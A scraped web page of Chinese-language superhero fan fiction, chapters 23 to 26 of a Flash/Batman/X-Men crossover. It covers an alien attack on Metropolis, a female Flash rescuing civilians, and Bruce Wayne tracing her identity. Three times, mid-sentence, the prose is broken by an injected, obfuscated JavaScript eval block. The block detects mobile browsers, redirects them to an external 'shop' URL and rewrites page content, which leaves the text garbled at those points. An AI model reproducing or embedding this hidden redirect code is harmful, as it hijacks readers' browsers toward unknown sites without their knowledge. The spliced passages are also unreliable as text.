巴莉起初还有点受之有愧,毕竟她并没有真的做过什么劝说工作。乔的态度变化,归根结底是因为对埃迪工作和为人的认可,完全是埃迪自己努力的结果。 但她很快说服了自己。闪电侠成了马克的新目标,埃迪少了一个安全隐患——虽然这同样谈不上是她的努力促成的,而是歪打正着——但凡事不能只看过程,也得考虑结果。 这么一想,她又觉得自己完全可以心安理得地吃埃迪带的饭了。 巴莉还有点小小的得意。能一次性解决好几个问题,甚至还不是刻意为之,这种“无心插柳”不更说明她的机智了吗? 与此同时,埃迪也觉得自己十分机智,找到了正当的、合理的、完全不会显得过于殷勤的理由和巴莉一起吃午饭。 他们聊的话题也越来越随意,有一次谈起了童年。 “我小时候是一个小胖子,而且很矮。”埃迪说。 “哈?我真的很难相信。”巴莉努力想象了几秒,最终放弃了,“完全想象不出来。” “我就知道你会这么说。”埃迪笑了一下,“我父母一度担心,我可能连五英尺七英寸都长不到。” “那你是怎么长这么高的?多喝牛奶?”巴莉问。 “大概可以归功于搏击。”埃迪说。 “为了减肥吗?”巴莉随口问。 “为了反击校园霸凌。”埃迪说。 “啊,你也经历过?”巴莉惊讶地脱口而出。 埃迪注意到了那个“也”字,但没有追问。在中心城警局的这段时间里,他已经从同事口中听说了亨利·艾伦的事。 他继续讲起自己的经历:“一开始是因为我个子矮小,后来是因为家里的变故。我父亲曾经营一家工厂,生意失败后,很多人因此失业。那些人的孩子把怨气发泄在我身上。” “天啊。”巴莉皱起眉,“那也太过分了,你父亲又不是故意破产的。而你更是个什么都没有做的无辜孩童。” 埃迪说:“我很气愤,每次都反抗,但又打不过他们。不过我运气还算不错,后来遇到了一位很好的体育教练。” “他教你打架?”巴莉有些惊讶。 “教我怎么反击。”埃迪纠正道,“他还告诉我,在战斗里,最重要的并不是力气。” “那是什么?” “耐心。”埃迪说,“等待合适的时机,在对方露出破绽时立刻出手。” 巴莉总结道:“等待机会,抓住机会,取得胜利。” 埃迪笑着说:“差不多就是这个意思。” 巴莉想了想,很有自知之明地说:“这个建议不错,但我不太喜欢等待,会忍不住想要出手。” “那就创造机会,然后抓住机会。”埃迪没有笑话她幼稚,“世上取胜的方法有很多,找到适合你的就行。” 巴莉若有所思地点头,之后特意带着这个问题去问迪克。迪克毫不犹豫地回答:“我觉得,战斗中最重要的是节奏。你要让对方按照你的爵士乐节拍来行动。” “为什么是爵士乐?”巴莉提问。 “因为我觉得那个比较适合我。”迪克说,“还有一个掌握节奏的小诀窍:打乱对手的节奏。” 说着,他取下身后的短棍:“猜猜它们的秘密功能是什么?” 巴莉仔细打量着短棍,犹豫地回答:“播放爵士乐?” “……是电击。”迪克按下一个隐蔽的按钮,短棍上立刻冒出电火花,可见威力不小。“我的手套是特制的,可以保证我的安全。” 巴莉目瞪口呆。 另一位极速者则有与众不同的看法。 当巴莉问起他的战斗理念时,彼得在仓库里瞬间变换了十几个方位。然后坐在巴莉最喜欢的那把椅子上,翘起二郎腿,趾高气扬地说:“我不需要创造,也不需要等待,我的速度就是机会。” 他的嚣张一点不惹人恼火,反倒让人觉得有点可爱。巴莉忍不住逗他:“听起来,你在X战警里所向披靡,没有对手喽?” 彼得立刻眼神飘忽:“我还是个学生。” 巴莉心领神会,偷笑起来。 周末,巴莉在星辰实验室和威尔斯博士讨论牢房设计问题——如何制造一间能限制不同超能力者的通用型牢房。毕竟,为每一个超能力者量身定制的成本有点高。 忽然,她们的手机同时响起信息提示音。 “外星人入侵大都会?”巴莉扫了一眼屏幕,“这是冲着超人去的吗?” “政府建议民众不要惊慌,尽量呆在室内,寻找掩体。”威尔斯博士读出第二条信息。“以及远离高楼。” 她打开电视,几乎所有频道的画面都被同一条新闻占据。 画面中,大都会的天空被异样的阴影笼罩,建筑残骸间粉尘弥漫。露易丝·莱恩记者站在一片狼藉的街道前,背景里能看到救援人员和正在撤离的市民。她努力保持镇定,向镜头报道着最新情况。 虽然政府建议大家不要惊慌,但天上是和超人打得势均力敌、甚至看起来比超人更厉害一些的外星人,地面上是不断倒塌的大楼,要求民众不感到惊慌是完全不现实的。 巴莉眼睁睁地看着高清镜头下,一艘外星飞船擦过一栋高楼的侧面。下一秒,建筑主体失去平衡,整座大楼开始缓缓地倾斜、崩塌。 这个场面足以唤起所有美国人对九一一恐怖袭击的记忆。 “政府说寻找掩体倒也没错,但现在哪里都不安全。”几乎是一眨眼的工夫,巴莉已经换上了制服,站在威尔斯博士面前:“我现在去大都会。” “太危险了。”威尔斯博士立刻反对,“而且中心城只是暂时安全,如果外星人的攻击范围扩大,中心城更需要你的守护。” “我也许打不过外星人,但至少可以帮忙救人。”巴莉决心已定,“我带着通讯器。如果外星人出现在中心城,你立刻告诉我,我马上回来。” 威尔斯博士轻轻叹了口气,没有再尝试阻拦。她看着巴莉如一道红色闪电般冲出实验室,脸上露出一种早已预料到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098468|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神色,随即变为面无表情。 她轻声开口,语气中带着自己都没意识到的喜爱:“没错,你总是会这样做。” 外星人出现时,布鲁斯正坐在韦恩集团大都会分公司的会议室里,参加一年一度的战略会议。 他已经不再像青年时那样频繁地翘掉会议了,虽然他依然很少在会议上发表真正有建设性的意见。他更像是一种象征,表示总部对这次会议的重视。 屏幕上的PPT被切换到下一页,发言者语气平稳地解说着财务数据,布鲁斯靠在椅背上听着,注意力却没有完全放在那里。 他还在思考最近几天占据了他大部分精力的事情——关于闪电侠的调查。 调取中心城各处的监控数据并不困难,但棘手的是找出闪电侠的身份。 在少数录像中,闪电侠的身影被完整地拍了下来,但画面始终模糊不清,只能判断出大致的身高与体型。布鲁斯很清楚,制服的功能性设计会遮去大部分个人特征,由此得出的结论并不精确。 他很快换了个思路,转而尝试找出闪电侠的行动轨迹,根据他的活动范围和模式判断身份。 然而,这个方案同样存在困难。闪电侠的速度太快了,远远超出现有摄像头的技术极限。在他移动时,画面里根本捕捉不到清晰的人影,最多只留下一道转瞬即逝、几乎可以被系统当作噪点忽略的模糊亮痕。 为此,布鲁斯专门设计了一套算法,将所有异常光点纳入统计,再通过时间与空间的重叠关系进行反向推算,才勉强勾勒出几条可能的行动路线。 此时此刻,蝙蝠洞的电脑仍在进行高速计算,阿尔弗雷德坐在屏幕前不断校正参数,将干扰信息排除掉。 根据目前的结果来看,闪电侠很可能在中心城的警局工作。也许他和迪克一样,是一名警察。 布鲁斯的视线漫不经心地扫过窗外,然后他的心脏几乎停跳了一拍。 庞大的、显然不是人类造物的飞船悬浮在城市上空,投下的阴影吞噬了街区。不远处的高楼已经因为碰撞而冒出浓烟。 会议室里的其他人也看到了窗外的情景,先是死一般的寂静,紧接着爆发出压抑不住的惊呼。有人站了起来,有人僵在原地,脸色都十分难看。 “疏散楼内员工。”布鲁斯站起来,第一个朝门外走去,并拉响了火警警报。 刺耳的鸣响回荡在整座大楼中。但即使没有警报声,发现异常的员工们也已经涌进楼梯间,脚步声、喘息声和恐慌的低语交织在一起。 布鲁斯走到街道上时,恰好看到一艘外星飞船从高空掠过,擦着韦恩集团大楼的一侧而过。金属与建筑发生碰撞,火花飞溅之间,碎石和玻璃雨点般落下。 此时的街道已经乱成一团。附近大楼里的人也纷纷仓皇逃出,抬头望向天空,又低头看向四周,完全不知道该往哪里去。 天空中,超人的红蓝色身影一直在与外星人战斗。外星人的注意力完全集中在超人身上,没有刻意攻击人类,但也毫不在乎战斗或飞船行进时对人类造成的致命影响。 24.第 24 章 大都会市中心,一道红色闪电在四处游走。 巴莉将首要救援目标定在那些仍然滞留在大楼高层的人身上。他们因为种种原因未能及时撤离——有人行动不便,无法从楼梯下楼,而电梯已经停摆;有人被局部坍塌困住,束手无策;也有人因为过于紧张而身体不适,甚至连呼救都难以发出。 在这些人意识到发生了什么之前,他们已经被一道红色身影送到了街道上。他们甚至没能看清是谁救了自己,闪电侠就已经赶去搜救下一个目标了。 将一位老人送到路边临时设置的救助点时,巴莉瞥见了一个高大的身影。 她看见韦恩先生将大衣和西装上衣脱下,分别披在两位衣着单薄、在秋风中瑟瑟发抖的女士身上。面对女士们的道谢,他只是点头致意,没有多说什么,便继续朝需要帮助的人群走去。 巴莉想起之前在酒会上,韦恩先生在帮过自己之后,也是这样沉默地离开。他那种讷于言辞的一面,似乎总是在面对受到他帮助的人时出现。而在卢瑟总裁面前,韦恩先生的嘴巴就像抹了淬过毒的蜂蜜,说出的话让对方在想揍他和想原谅他之间反复横跳。 不远处,一个四五岁的小女孩与父母走散了,呆呆地站在原地,小脸上布满泪痕。一根钢筋从高处坠落,直直朝她砸下,她却一无所觉。 巴莉看到了这一幕,立刻朝小女孩冲了过去。几乎是在同一时间,另一个身影也动了——不可思议的是,韦恩先生竟然比巴莉更早到达了小女孩身旁。也许因为他的距离更近,也许因为他发现得更早。 布鲁斯抓住了小女孩,以与他平日形象不相符的惊人的爆发力带着她移向另一侧。在意识到可能来不及完全避开那根钢筋时,他毫不迟疑地侧身,用肩膀将小女孩护在身下。 浅蓝色的衬衫与深蓝色的西装马甲在他宽阔的肩背上绷紧。布鲁斯单膝跪地,像一面临时竖起的盾牌,将怀中的孩子完全挡住。 但预期中的疼痛并没有到来。 千钧一发之际,巴莉将那根钢筋朝相反的方向推去。金属重重地砸在空地上,发出沉闷的巨响。 布鲁斯抬起头,隔着翻涌的灰尘,与闪电侠短暂地对视了一眼。 巴莉被韦恩先生尚未来得及掩饰的神情击中了。 那张脸上没有恐惧,也不是劫后余生的惊魂未定。她看到的是深切的忧虑,是被压抑的决心,还有某种近乎自我折磨的愤怒,它们交织在一起,成为他背负的复杂而沉重的负担,那几乎不是血肉之躯所能承受的重量。 在那短暂的一瞬间,时间仿佛被无限地拉长了。爆炸的声响、碎石的坠落、远处人群的呼喊声,一切都成了嘈杂的背景音。虽然并非有意窥探,巴莉已经看见了韦恩先生不为人知的另一面。 他不只是一个好心的、有个性的、容貌俊美、身材高大的超级富豪。那些标签让巴莉觉得韦恩先生是一个不错的人,但仅此而已。 而这一刻的韦恩先生带给她的震撼,她永远不会忘记。 下一瞬,巴莉几乎要怀疑是不是自己想多了。 韦恩先生已经飞快地调整好了表情,非常自然地露出一个恰到好处的、因为闪电侠突然现身而产生的惊讶神色,仿佛巴莉刚才看到的只是尘土与光影共同制造出的错觉。 她是不是在无意识中,因为这位哥谭名人的俊美面容而对他的表情赋予了过多的意义?是不是把本不属于他的重量强行投射到了他身上? 但她没有办法说服自己否认刚才见到的那一幕。 对其他人来说,韦恩先生的演技无懈可击;可对她而言,他的掩饰或许足以骗过整个世界,在闪电侠的时间尺度里却仍然慢了一拍。 布鲁斯的惊讶不完全是装出来的,但那也并不是因为闪电侠的出现。 当他真正看清眼前的闪电侠——这个世界的闪电侠时,他才意识到某个从未设想过的可能性。 尽管看不清面容,但从种种蛛丝马迹来判断,布鲁斯可以肯定,闪电侠是一位年轻女性。 两人没有交谈。闪电侠再次化作一道红色的影子,奔向其他需要帮助的人。 布鲁斯将怀中的小女孩托付给一位年长的女性,随即转身奔向下一个需要援手的人。 此刻显然不是深究平行世界同位体之间异同的时间,也不是合适的地点。他将在回到蝙蝠洞后,继续对闪电侠的调查。 巴莉再次回到星辰实验室时,已经筋疲力尽、饥肠辘辘。她看上去有些狼狈,身上脏兮兮的,还带着几处不算严重的伤。尽管她的愈合速度远超常人,却依然没能完全恢复。 威尔斯博士已经准备了一桌食物,静静地看着巴莉风卷残云般地吃完,这才问:“需要我帮忙处理一下伤口吗?” “差不多都好了。”巴莉终于吃饱,满足地捧着热巧克力啜饮,“我从来没这么累过。天啊,幸好超人最后赢了……也幸好来的外星人不算多。我觉得超人到后面动作都没一开始那么利落了。” “十几个小时……你一直都没休息吗?”威尔斯博士带着几分心疼地责备道。 “我在一家没人的杂货店里吃了几根能量棒。”巴莉试图让这件事听起来没那么糟糕,但从威尔斯博士的表情来看,她的努力失败了,“幸好制服口袋里还有点现金。” “你最好在回家前洗个澡。”威尔斯博士提醒道,“否则你的家人会以为你去野外流浪了一整天。” 巴莉站起身,却没有立即离开,而是先低头仔细检查自己的宝贝制服。她越看那些裂痕越沮丧,几乎是眼泪汪汪地说:“破损了好几处,尤其是这里,看起来挺严重的。我得尽快把它修好。” 这不是简单的缝缝补补那么简单,有些部分必须整体替换。她为即将花费的金钱而心痛。确切地说,是威尔斯博士的钱,这令她又多了愧疚。 “难道你打算为了避免制服损耗,用身体去保护制服吗?那可就本末倒置了。”威尔斯博士被巴莉那副可怜巴巴的表情逗笑了,“快去洗澡吧。” 几分钟后,巴莉穿着实验室的T恤从浴室里走出来,半长的棕色头发披在肩上,没有完全吹干,仍带着几分湿意。 “我用了你的洗浴用品,”她在威尔斯博士身旁坐下,开开心心地凑过去,“我们现在闻起来一模一样。” 威尔斯博士的视线还停留在新闻画面上,伸手轻轻拍了拍巴莉的脑袋:“你没认真把头发吹干。” “一会儿就全干了。”巴莉不在意地甩了甩头,靠在椅背上,和威尔斯博士一起看着屏幕上的最新报道。 莱克斯集团第一时间出钱出力,韦恩集团也迅速跟进。不幸中的万幸是,受损的主要是商业大楼,居民区波及较轻,没有因此出现大规模的流离失所。 “我真不敢想象,”巴莉喃喃地说,“如果这一切发生在别的城市,会变成什么样。” “别的城市未必会发生。超人就像一块吸铁石,会把这种敌人吸引过去。”威尔斯博士评论道,语气相当不留情。 “这么说对他有点不公平。”巴莉抗议道,“如果没有超人,今天没人能这么快地打赢那些外星人。” “在没有超人的时候,”威尔斯博士慢悠悠地说,“外星人从没来过地球。” “这可不一定。也许他们一直在友好地来访,然后低调地生活在地球上,只是我们不知道而已。”巴莉反驳道,但语气并不尖锐。 威尔斯博士顺着巴莉的思路说下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107362|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去:“好吧,让我修正一下——在没有超人的时候,不友好的外星人从没来过地球。” 她顿了顿,补完结论:“而你的说法,恰恰证明了我的观点。” 巴莉被噎了一下,她看看威尔斯博士,又看看电视上激情开麦的那位光头总裁:“你的观点听起来和卢瑟总裁的有点像。” “那只能说明,”威尔斯博士面不改色地回答,“这是聪明人的想法。” 巴莉无奈地笑了笑,放弃了和威尔斯博士继续争论:“太晚了,我得回家了。你也早点休息吧。” 她非常笃定地说:“我猜,我不在的时候,你一直在工作,完全没有休息。” “我不想只是枯坐在这里等你。”威尔斯博士看着巴莉,“那样的话,时间过得太慢了。” 巴莉忽然有些不知道该说什么。她的视线落在威尔斯博士的轮椅上,几乎要憎恨起那件东西。 她真希望博士能恢复健康,可无论她多么想帮忙,却完全无计可施。 “你看起来像是要哭了。”威尔斯博士温柔地说,“别多想。我的意思是,我喜欢当你的后备力量。在实验室里忙碌,确保闪电侠的安全,这让我很高兴。就好像……我也是你这份英雄事业的一部分。” “你当然是。”巴莉立刻说。 听到这个回答,威尔斯博士微笑起来:“好啦,快回去休息吧。” 巴莉回到家时,伊德瑞斯竟然还没睡,坐在沙发上心不在焉地看书。电视里播放着新闻,为安静的屋子增加了些许声响。 “我回来了。”巴莉扬声说。 “乔还在警局值班,”伊德瑞斯随手把书合上放到一旁,“因为大都会遇袭的事,局长要求所有人去局里待命。” “什么?没人告诉我啊。”巴莉吓了一跳,赶紧拿出手机查看,生怕自己错过了什么紧急通知。 “可能只通知了警员,没要求法医去值班。”伊德瑞斯拍了拍身旁的位置,“你今天在星辰实验室过得怎么样?” 巴莉坐到伊德瑞斯旁边,完全松懈下来,像断了电的机器人一样失去了全部力气。她懒洋洋地把头靠在他的肩上:“我要累死了。” 伊德瑞斯闻到她头发上的香气——与往日不同的味道,不是巴莉常用的那种。他的表情在巴莉看不到的角度微微僵住了。 她在外面洗过澡。这个念头猛地冒出来,然后他立刻找到了合理的解释:实验室可能出了点小意外,某种试剂溅了人一身;或者她替行动不便的威尔斯博士充当劳动力,干了不少体力活。 可那点说不清的在意仍旧挥之不去。他意识到自己在意的是那些他无从参与的时刻——那些属于她、属于威尔斯博士,却将他排除在外的时间。 他的心口涌上一点酸涩的情绪。自从巴莉认识威尔斯博士以来,她的空闲时间几乎都围绕着博士转。他知道这个想法有点可笑,但他对威尔斯博士总有种排斥感。 伊德瑞斯将情绪压下去,像刚才合上那本书一样利落。 一无所觉的巴莉还在说个不停:“如果真的遇到危险,躲在地下室里也未必保险,除非我们自己挖一个防空洞。” “防空洞能挡住外星人的攻击吗?”伊德瑞斯对此深表怀疑,“而且,地下室大小的防空洞真的有意义吗?那更像是个加厚版的棺材。” 巴莉用额头轻轻地撞了伊德瑞斯的肩膀一下,但在表示抗议之后,她却一时想不出反驳的话:“好吧,你说得对。唉,我的大脑已经停机了,我得去睡觉了。” 她在原地入睡和站起身之间挣扎了几秒,最终站起来,慢吞吞地朝卧室走去。 伊德瑞斯的目光追随着她的背影,然后沉默地坐了一会儿。 25.第 25 章 布鲁斯回到韦恩庄园时,阿尔弗雷德一如既往地在等他。管家仿佛一台超长待机的机器人,无论日夜,无论寒暑,总是静静地守在家中,像是永远不会动摇的锚点。 阿尔弗雷德端来了三明治和热茶作为夜宵,然后坐在布鲁斯的对面:“我们还需要一天才能分析出闪电侠的身份。” 布鲁斯扯下领带,随手搭在椅背上,又解开衬衫领口的扣子:“可以再加进一个因素了。闪电侠是女性,年龄不会超过二十五岁。” 阿尔弗雷德的眉毛微微一动,这对他而言已经是在相当明显地表示惊讶:“你是怎么知道的?你在大都会遇到了闪电侠?” “闪电侠可能是看到了新闻,自发地去救人。”布鲁斯说,“我们偶然碰见了一次。” “听起来她是个热心的人。”阿尔弗雷德评价道,“年轻,朝气蓬勃。” 他对闪电侠颇有好感。一方面,在调查对方身份的过程中,他注意到闪电侠一直在热切地伸出援手,对他人的帮助自然得就像邻里之间的互助,从不炫耀,也没有自恋的表演欲。她因为自己的能力产生了强烈的责任感,仅此而已。 另一方面,阿尔弗雷德心中也燃起了希望——在另一个世界,闪电侠是被蝙蝠侠认可的同伴,为了拯救世界甚至愿意冒险跨越时空的界限。这让他不由自主地期待,或许在这个世界,布鲁斯也能拥有可靠的、可以并肩作战的同伴。 对于阿尔弗雷德最近的各种暗示,布鲁斯已经习惯了。他没有立刻接话,沉默着吃完了一个三明治,才低声说:“另一个世界的闪电侠也很年轻,比她大不了几岁。” 他皱着眉,像是在脑海中拼凑一幅缺失太多碎片的拼图:“我不知道他经历了什么,也不知道那个世界的蝙蝠侠究竟在防备谁。但考虑到两位闪电侠之间不算大的年龄差,如果我真的需要开始防备某人的话,那留给我的准备时间也不多了。” “两个世界未必会发生同样的事情。”阿尔弗雷德没有布鲁斯那么悲观,“命运可不是罐头工厂流水线。它更像一位随心所欲的厨师,偶尔参考菜谱,但经常根据心情增减调味。” “你是说你当年的做饭方式吗?”这个比喻唤起了布鲁斯的回忆,他小声地抱怨起来:“除了甜点,你总是在做饭时‘灵机一动’。虽然你没做过仰望星空派那种英国名菜,但你还是成功地让我对英国厨师的刻板印象愈发深刻了。” “迪克少爷可从没抱怨过。”阿尔弗雷德面不改色,一点没有因为自己拉低了英国厨师的风评而惭愧。 “因为在他来这个家之前,你的厨艺终于精进了。但代价呢?代价是我的可怜味蕾。”布鲁斯哼了一声。“回头想想,我在外面历练那几年,之所以什么古怪东西都能吃得下去,还得归功于你对我的磨练。” 阿尔弗雷德听了布鲁斯的话,不但没生气,反而微笑起来,仿佛早已料到他会说这些。 他总是试图把那个阴沉压抑的布鲁斯老爷,变回会和他斗嘴撒娇的布鲁斯少爷。 布鲁斯看到阿尔弗雷德的表情,心里一阵无奈,意识到自己又一次自投罗网。他不动声色地将话题绕回去:“防备的事情暂且搁置,眼下我还是想想怎么应付外星人吧。如果他们出现在哥谭,那可真是个大麻烦。” “哥谭暂时是安全的。那些外星人去大都会并非偶然,而是专程去找超人的。”阿尔弗雷德说着,意识到布鲁斯显然错过了那段直播。他在平板电脑上调出录像,推到布鲁斯面前。 他简明扼要地说:“超人刚刚接受了采访。他向公众道歉,说他一直以为自己是氪星最后的幸存者,没想到还有其他氪星人存在。他为给地球带来的麻烦道歉,并承诺如果氪星人再次出现,他会站在最前面阻止他们。” “他倒是出乎意料地坦诚。”布鲁斯有些吃惊,但想到超人的承诺,他的神情又冷了下来:“如果对方来得更多,多到他无法战胜呢?就算他最终赢了,在这个过程中造成的损失和伤亡呢?他的存在本身,对于人类和地球来说就是麻烦。” “但他的存在同样提供了保护。谁能保证只有氪星人会来地球呢?”阿尔弗雷德说。 “也许终究是到了必须联手的时候。”布鲁斯沉思起来,“为了人类,我们需要一支队伍。” 阿尔弗雷德无声地将平板电脑朝前推了推。布鲁斯点开录像,在看到采访记者的面容时,他明白阿尔弗雷德的意思了:“露易丝·莱恩。” 阿尔弗雷德点点头:“露易丝。另一位闪电侠提到的名字。” “她经常采访超人,据说还曾经被超人救过几次。闪电侠指的很可能就是她。”布鲁斯赞同道,“但闪电侠为什么来找我,而不是超人?如果能随时听到她呼救的超人都无法永远保护她,其他人又要怎么才能做到?” 阿尔弗雷德也深受这个问题困扰,低声说出自己的猜测:“也许……因为闪电侠想说的是,需要你保护露易丝不受超人的伤害?” “可超人为什么要伤害她?”布鲁斯对这个答案并不满意。 虽然因为超人引来了外星人的攻击而感到不快,但布鲁斯不得不承认,超人自出现以来从未做过什么坏事。 如果说露易丝会在无意中冒犯超人,那也同样说不通。超人的心胸宽广得到了不可思议的程度,连对莱克斯·卢瑟那种坚定的反外星人分子也没有报复过。露易丝要做什么才能比卢瑟更惹怒超人?穿越回几十年前导致氪星毁灭吗? “这就是我讨厌谜语人的原因。”布鲁斯拿起茶杯喝了一口,“我不知道另一个世界的蝙蝠侠是怎么训练闪电侠的,但如果是我,她至少得学会在一秒钟内把所有有用的信息说完。” 阿尔弗雷德轻轻叹了口气:“前提是,对方愿意接受你的训练,而且没有被你气跑。我以为,你如果联系闪电侠,是想和她做队友,而不是招对方做罗宾。” 布鲁斯张了张嘴,却发现自己无从反驳,只能沉默地合上嘴。 巴莉对韦恩先生的好奇越来越深了。 当她在网上检索布鲁斯·韦恩的相关新闻时,迎面而来的信息多得近乎喧嚣。 但巴莉看得越多,心里的违和感就越明显。 作为媒体超级重点关注对象,韦恩先生的人生乍一看像一本被摊开在聚光灯下的书。新闻、采访和八卦铺天盖地——他在某天出席了哪场慈善晚宴,穿了哪家设计师的新款西装,和哪位女明星共进晚餐,甚至连他偏爱哪家餐厅的甜点都有专人整理出来。 巴莉干脆按照时间线,把零散的新闻一条条在大脑中排列,很快发现热闹的表象下藏着大量不自然的空白。 “韦恩先生在欧洲度假,与某贵族之女共乘游艇。” “韦恩先生因极限运动受伤,在家休养仍不忘为女明星首映礼送花捧场。” 类似的报道反复出现,每一条都堆满华而不实的细节,精心营造出鲜花与镁光灯交织的幻象。它们适合读者消磨时间,却几乎不提供任何真正关于布鲁斯·韦恩这个人的信息——甚至可以说,主角是谁压根无关紧要,换成其他富豪的名字可能都不会被人发现。 而最大的断层出现在更早之前,在韦恩先生的青少年时期。 那几年里,他几乎从公众视野中彻底消失。新闻只轻描淡写地给出一个统一说法:他去了英国的寄宿学校。 这个解释像一块过于光滑的补丁,严丝合缝地盖住了整段缺失的时间。 另一个有趣的发现是,韦恩先生竟然已经领养了两个儿子。但他的年纪远没到需要为继承问题焦虑的阶段,也完全处在可以自然生育的年龄区间,何况他至今未婚,感情生活也从不缺少绯闻对象。 这种违背常理的行为让巴莉目瞪口呆。 更神奇的是,由于对未成年人的保护,媒体从未公布过孩子们的照片,但几乎所有报道都提到一个细节:两个男孩都是黑发蓝眼,而韦恩先生本人恰好也是黑发蓝眼。 世上当然存在巧合。 但媒体显然不打算给巧合留下空间,于是各种猜测迅速填补了空白:要么是某种难以言说的私人癖好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112234|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' (某篇八卦专栏还多此一举地强调韦恩先生并非天主教徒,那种强调反而让暗示显得欲盖弥彰),要么,这两个所谓的“养子”其实是被公关团队重新定义过身份的私生子。 巴莉盯着屏幕看了几秒,脸上露出明显的嫌弃。 她想找的不是丑闻,也不相信这些谣言。韦恩先生的行为背后一定有正当且合理的原因,只不过媒体不知道,也不打算去深究。毕竟,劲爆的谣言和解读总是更有市场。 彼得一直在悄悄关注巴莉的动静,见她的表情变化,立刻开口:“你在看什么?忽然这么生气。” “在看媒体的胡说八道。”巴莉抱怨道。 彼得飞快地凑过去:“哦,布鲁斯·韦恩啊。这些有钱人的八卦真真假假的,谁知道到底怎么回事呢。你为什么要看他的新闻?” “对他有点好奇。”巴莉把笔记本电脑往旁边一推,“我以前没怎么关注过他,不知道有这么多传闻。” “为什么忽然对他好奇?”彼得的语气里带着刻意的委屈,生怕巴莉注意不到似的,“你怎么不对我好奇?” “我还需要对你好奇吗?”巴莉笑起来,“我感觉你已经把一切都讲过了。” “怎么可能是一切。”彼得不满地说,往她那边又挪近了一点,“我还有很多神秘的内心世界没有展示出来。” “真的吗?”巴莉挑眉,“举个例子让我听听。” 彼得认真思考了两秒:“比如……我曾经在救一条狗的时候,发现它的面前摆着一整盒披萨供它享用。不知道是什么人放的,竟然会给它那么大一盒,要知道,那只是一条非常小的狗啊。” 巴莉看着用手比划小狗尺寸的彼得,感到深深的迷茫:“我得去读几本心理学教材,否则真的不知道该怎么解读你的这段自白。” 彼得无视了她的打岔,顽强地讲完自己的故事:“为了避免浪费,我在它的嘴里塞了一块,其它的都替它吃掉了。当然,盒子我没拿走,留给它了。” 巴莉差点要笑倒在椅子上:“这算什么神秘内心世界?小狗有没有意识到自己被人打劫了?” “应该没有吧。”彼得回忆着,“我把它放在地上的时候,它还在专心地吃自己嘴里的那一片。” “你当时几岁?七岁吗?”巴莉忍不住嘲笑他。 “你看,你对我一点都不好。”彼得捂住胸口,一副心碎的可怜模样,“你宁可花时间研究一个陌生富豪的人生,也不关心我当时饿不饿。” “你当时不算很饿。”巴莉分析道,“不然那只小狗连一片也分不到。” “在你眼里我就是这样的形象吗?”彼得这次是真的委屈了,“就算我很饿,也总会给小狗留一片的。” “不能怪我这样想。光听你描述,我都快分不清你和它谁才是真正的狗了。”巴莉伸手轻轻敲了敲彼得的头。 彼得立刻夸张地抗议起来,但他心里其实在偷笑——巴莉的注意力已经彻底被他抢走了。 对一个人产生好奇,这可能是一切的开始。关于这一点,他再清楚不过了。 起初,好奇或许仅仅是一种对信息的渴望。但随着对一个人了解的深入,那种情感可能会慢慢延展,变成信任、依赖,甚至更复杂、更难以言说的东西。 “我还有好多深刻的故事可以讲,不过我要把它们都留起来。”彼得宣布自己的决定,眼睛亮晶晶地盯着巴莉,“你必须用你的故事来换,我才会继续讲下去。” “其实……我不是很想听另一只小猫被分走小鱼干的伤心故事。”巴莉捂住耳朵。 “根本没有那种故事!”彼得赶紧维护自己的名声,“你快讲一个嘛。” “好吧,我最近从高层建筑里救人,确实有了点心得。在建筑结构脆弱的情况下,我可以靠惯性和反作用力去应对。” 彼得立刻领会了她的意思:“而且你得计算好每一步,为下一次进入做准备。” 两人开始热烈地交流起经验,还在纸上写写画画,讨论不同方案的优劣。 26.第 26 章 外星人没有立刻回来。世界看起来恢复了往日秩序。 但所有人心里都明白,那些氪星人不会善罢甘休,迟早会再来一次。大都会的市民在担心,其他城市的人也不觉得自己能置身事外。 毕竟,那些氪星人跨越了难以想象的距离来到地球,来都来了,谁能保证他们不会顺手把地球的其它地方也一并炸上一遍? 何况,谁知道宇宙里是不是还有更多心怀恶意的种族,正在把目光投向地球。 潘多拉的魔盒已经打开,这个曾被认为偏僻、安全、没有人注意的蓝色星球,如今已经在宇宙中亮起了坐标灯。 新闻上时不时播放专家访谈,社交媒体上出现了如何求生的讨论帖子,每天都有人预测“下一次被入侵的时间”。尽管头顶悬着一把看不见的达摩克利斯之剑,人类却依然要按时上班、缴账单、为晚餐吃什么而烦恼。 人类似乎天生擅长在末日预告下继续过日子。 以上并非巴莉的自我鼓励,而是伦纳德对着闪电侠发表的人生哲学。 场景几乎是初见时的翻版:警报声刺耳,金库门被暴力撬开,伦纳德忙着将钞票塞进一个巨大的口袋。 